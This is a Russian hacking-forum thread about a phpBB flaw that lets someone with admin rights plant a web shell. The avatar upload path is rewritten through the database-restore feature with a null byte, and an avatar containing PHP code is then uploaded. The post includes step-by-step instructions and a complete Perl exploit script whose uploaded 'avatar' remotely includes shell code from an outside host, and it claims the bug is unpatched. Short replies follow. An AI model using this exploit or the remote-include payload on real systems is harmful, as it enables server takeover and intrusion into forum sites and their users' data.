• XSS.stack #1 – первый литературный журнал от юзеров форума

PHPBB: Загрузка произвольного файла через админку

k1b0rg

RAID-массив
Пользователь
Регистрация
04.05.2006
Сообщения
61
Реакции
1
Подмена аваторного пути. Багу нашол ShanKaR. (нужны админ права)
Шанкар выпустил свой сплойт, и описал багу. Судя по месагам в инете, народ так не допер, что за бага и как ее едят. Объясняю...
Как идет загрузка аваторы:
@copy($tmp_filename, './' . $board_config['avatar_path'] . "/$new_filename");
@unlink($tmp_filename);
Он грузит из
$tmp_filename
$board_config['avatar_path']."/$new_filename"
$tmp_filename это типо временное название аваторы, пока ее грузили на сервак.

$board_config['avatar_path'] - это аваторный путь, по дефолту
images/avatars
храниться в базе

$new_filename - сгенерированное новое имя аваторы что-то типо 49624519384cd7deb.gif.

Суть баги найденной Шанкаром, в том, что мы аватору грузим не в файл который сгенерирует на сам форум, а в произвольный файл. Его мы задаем в $board_config['avatar_path'] (например images/avatars/shell.php). А затем нам, надо отрезать $new_filename, это можно сделать как предложил автор баги, добавив %00, но так будет не всегда работать. Я предлагаю, сделать через БД, CHAR(0). Вы скажете, слышь аффтар, не гитарь, нах нам, даже в php файле, сурс картинки. А дело в том, что в phpbb можно загружать аватору с php кодом. смотри багу (6).
Как юзать багу:
Заходим в профайл. Смотрим, чтобы аватору можно было выбрать с компа. Пока оставляем это окно, открываем новое. Заходим в админку. Создаем файл 1.sql с содержимым
UPDATE phpbb_config SET config_value=CONCAT('images/avatars/shell.php',CHAR(0)) where config_name='avatar_path';
Востанавливаем через бд.
Возвращаемся к окну с профайлом, выбираем аватору с php кодом, и загружаем. Если все сделали правильно то по адрессу
http://localhost/phpbb3/images/avatars/shell.php будет ваш шелл. БАГА НИГДЕ НЕ ЗАЛАТАНА. Заплаток нету.

Вот мой сплойт, ему нужно три параметра
perl sploit.pl http://localhost/phpbb/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php
#!/usr/bin/perl
if(@ARGV<3)
{
print "\nCoded by k1b0rg";
print "\nHow to use: perl sploit.pl http://localhost/phpbb13/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php";
exit();
}
################################################## ##########################
# How to use: perl sploit.pl http://loleg.ru/phpbb3/ admin 123456
# Coded by k1b0rg (768620)
# R3sP3Ct: antichat.ru,cup.su,netsec.ru,pyccxak.com,comp-info.ru.
# Тут по традиции должен быть текст, перечисляющий респекты кодера всем людям. Это необязательно, но чтобы размер сплойта #выглядел внушительно, этот текст и пишут.
#Greettzzzz: Egorich,Чё Гевара, snow,Zaco,limpompo,Rebz, Skvoznoy, mobile, sanyaX, Динар, Daemoniz, Nova, m0nzt3r, Кузя, #Слип, tutton, Trinux, Proteus, Psalm69, SladerNon (он же лолег:DDDD).

################################################## ###################
use LWP::UserAgent;

$site=$ARGV[0];
$admin_sid=$ARGV[1];
$put=$ARGV[2];
$browser = LWP::UserAgent->new() or die;
$res = $browser->post($site.'admin/admin_board.php?sid='.$admin_sid,
[
'allow_avatar_upload'=>'1',
'submit'=>'submit'
]);
$sql = 'UPDATE phpbb_config SET config_value=CONCAT(\''.$put.'\',CHAR(0)) where config_name=\'avatar_path\';';
&phpbb_sql_query($site.'/admin/admin_db_utilities.php?sid='.$admin_sid,$sql);
$res = $browser->get($site.'profile.php?mode=editprofile&sid='.$admin_sid);
$username=$1 if ($res->content=~/name="username" value="(.*?)"/);
$useremail=$2 if ($res->content=~/name="email"(.*?)value="(.*?)"/);
$userid=$1 if ($res->content=~/name="user_id" value="(\d+)"/);
$userlang=($res->content=~/<select name="language"><option value="(.*?)"/m)?($1):('english');
$res = $browser->post($site.'profile.php?sid='.$admin_sid,
Content_type =>'form-data',
Content => [
'username'=>$username,
'email'=>$useremail,
'new_password'=>'',
'password_confirm'=>'',
'icq'=>'',
'aim'=>'',
'msn'=>'',
'yim'=>'',
'website'=>'',
'location'=>'',
'occupation'=>'',
'interests'=>'',
'signature'=>'',
'viewemail'=>'0',
'SPOILERonline'=>'0',
'notifyreply'=>'0',
'notifypm'=>'0',
'popup_pm'=>'0',
'attachsig'=>'0',
'allowbbcode'=>'0',
'allowhtml'=>'0',
'allowsmilies'=>'0',
'language'=>$userlang,
'style'=>'1',
'timezone'=>'-12',
'dateformat'=>'D M d,Y g:ia',
'avatar'=>
[
undef,
'kiborg.gif',
Content_type =>'image/gif',
Content => '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>',
],
'avatarurl'=>'',
'avatarremoteurl'=>'',
'mode'=>'editprofile',
'agreed'=>'true',
'coppa'=>'0',
'user_id'=>$userid,
'current_email'=>$useremail,
'submit'=>'Submit'
]);
if($res->content=~/<b>Warning<\/b>:/)
{
syswrite STDOUT,"\n".'Admin avatar path remote: [ERROR]';
}
else
{
$res = $browser->get($site.'/'.$put);
if($res->status_line=~/200/) {
syswrite STDOUT, 'Upload shell:[YES]';
syswrite STDOUT, "\n".$site.'/'.$put; }
else
{
syswrite STDOUT, 'Upload shell:[NO]';
}
}

sub phpbb_sql_query($$){
my $res = $browser->post($_[0],
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'fat',
Content_type => 'text/plain',
Content => $_[1],
],
]
);
}
 
# R3sP3Ct: antichat.ru,cup.su,netsec.ru,pyccxak.com,comp-info.ru.
# Тут по традиции должен быть текст, перечисляющий респекты кодера всем людям. Это необязательно, но чтобы размер сплойта #выглядел внушительно, этот текст и пишут.
#Greettzzzz: Egorich,Чё Гевара, snow,Zaco,limpompo,Rebz, Skvoznoy, mobile, sanyaX, Динар, Daemoniz, Nova, m0nzt3r, Кузя, #Слип, tutton, Trinux, Proteus, Psalm69, SladerNon (он же лолег:DDDD).
А я вообще промолчу :)
 
А я вообще промолчу
Ну а чего тебя не устраивает по этому поводу ? то что респекты большинству людей с ачата ? или что ?
Да небольшая загвоздка с правами но не всегда получаеться в phpBB лить шелл через базу...
 
Ну а чего тебя не устраивает по этому поводу ? то что респекты большинству людей с ачата ? или что ?
Да ничего просто прикольнулся. Юмор надо понимать, я про отсутствие в списке ДЛ.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх